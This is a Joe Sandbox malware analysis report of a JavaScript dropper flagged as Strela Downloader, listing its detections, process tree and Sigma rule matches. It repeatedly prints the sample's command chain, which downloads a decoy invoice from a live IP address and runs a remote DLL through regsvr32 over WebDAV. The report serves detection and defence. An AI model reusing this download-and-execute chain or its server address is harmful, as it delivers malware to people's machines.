Edit tour

Windows Analysis Report
72382724245064961.js

Overview

General Information

Sample name:	72382724245064961.js
Analysis ID:	1588670
MD5:	e06ca508d0644ec9dd72f343b6c91d7f
SHA1:	a4996c12aeaace5365f1a3769aa3e279cfb558a1
SHA256:	1851f9de0b3a9ef69ba8da3de73944370205ec0aad13cbbb7954f768908db495
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Yara detected Strela Downloader

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6172 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\72382724245064961.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 3660 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145574010200.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3556 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1088 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 2828 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 5972 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7172 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1620,i,1784750891240737893,1618069011542900297,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 5840 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 2764 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 4836 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 6172	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145574010200.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3660, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1088, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145574010200.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3660, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1088, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\72382724245064961.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\72382724245064961.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\72382724245064961.js", ProcessId: 6172, ProcessName: wscript.exe

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145574010200.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145574010200.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\72382724245064961.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6172, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145574010200.dll, ProcessId: 3660, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145574010200.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145574010200.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\72382724245064961.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6172, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145574010200.dll, ProcessId: 3660, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145574010200.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145574010200.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\72382724245064961.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6172, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145574010200.dll, ProcessId: 3660, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145574010200.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145574010200.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\72382724245064961.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6172, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145574010200.dll, ProcessId: 3660, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145574010200.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145574010200.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\72382724245064961.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6172, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145574010200.dll, ProcessId: 3660, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\72382724245064961.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\72382724245064961.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\72382724245064961.js", ProcessId: 6172, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145574010200.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3660, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1088, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5840, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2764, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 4836, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5840, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2764, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145574010200.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145574010200.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\72382724245064961.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6172, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145574010200.dll, ProcessId: 3660, ProcessName: cmd.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 72382724245064961.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 72382724245064961.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: wscript.exe, 00000000.00000002.2036265325.0000020304766000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2092832139.000001C7A10D8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2092832139.000001C7A10CE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2092832139.000001C7A10A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2092832139.000001C7A10A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/?
Source: net.exe, 00000007.00000002.2092832139.000001C7A10D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/Y
Source: net.exe, 00000007.00000002.2092832139.000001C7A10D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/a
Source: net.exe, 00000007.00000002.2092832139.000001C7A10A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/n
Source: net.exe, 00000007.00000002.2092832139.000001C7A10A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/tem
Source: svchost.exe, 00000009.00000002.3320047064.0000010C37000000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2091822298.0000010C36EC0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 6172, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145574010200.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145574010200.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 72382724245064961.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.spyw.expl.evad.winJS@27/62@0/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3556:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_s1re3fhu.2lo.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

